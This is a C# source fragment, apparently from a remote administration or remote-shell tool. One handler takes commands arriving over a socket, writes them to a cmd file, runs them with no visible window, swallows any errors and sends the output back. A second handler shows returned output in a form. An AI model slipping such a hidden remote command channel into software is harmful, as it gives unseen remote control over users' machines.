private static void ShellCommandPacketHandler(byte[] receivedPacket, Socket clientSocket) { try { ShellCommandPackage shellCommandPackage = new ShellCommandPackage(receivedPacket); string cmdFilePath = Application.StartupPath + "\\cmd.cmd"; // Zapisujemo u fajl using (StreamWriter sw = File.CreateText(cmdFilePath)) { sw.WriteLine(shellCommandPackage.shellCommand); } string shellOutput = null; Process proc = new Process { StartInfo = new ProcessStartInfo { FileName = cmdFilePath, UseShellExecute = false, RedirectStandardOutput = true, CreateNoWindow = true } }; proc.Start(); while (!proc.StandardOutput.EndOfStream) { shellOutput += proc.StandardOutput.ReadLine() + "\n"; } ShellOutputPackage shellOutputPackage = new ShellOutputPackage(shellOutput); clientSocket.Send(shellOutputPackage.ToByteArray()); } catch (Exception ex) { } }
private static void ShellOutputPacketHandler(byte[] receivedPacket, Socket clientSocket) { ShellOutputPackage shellOutputPackage = new ShellOutputPackage(receivedPacket); ShellForm shellForm = new ShellForm(); shellForm.receiveOutput(shellOutputPackage.shellOutput); shellForm.ShowDialog(); shellForm.Focus(); //Application.Run(); }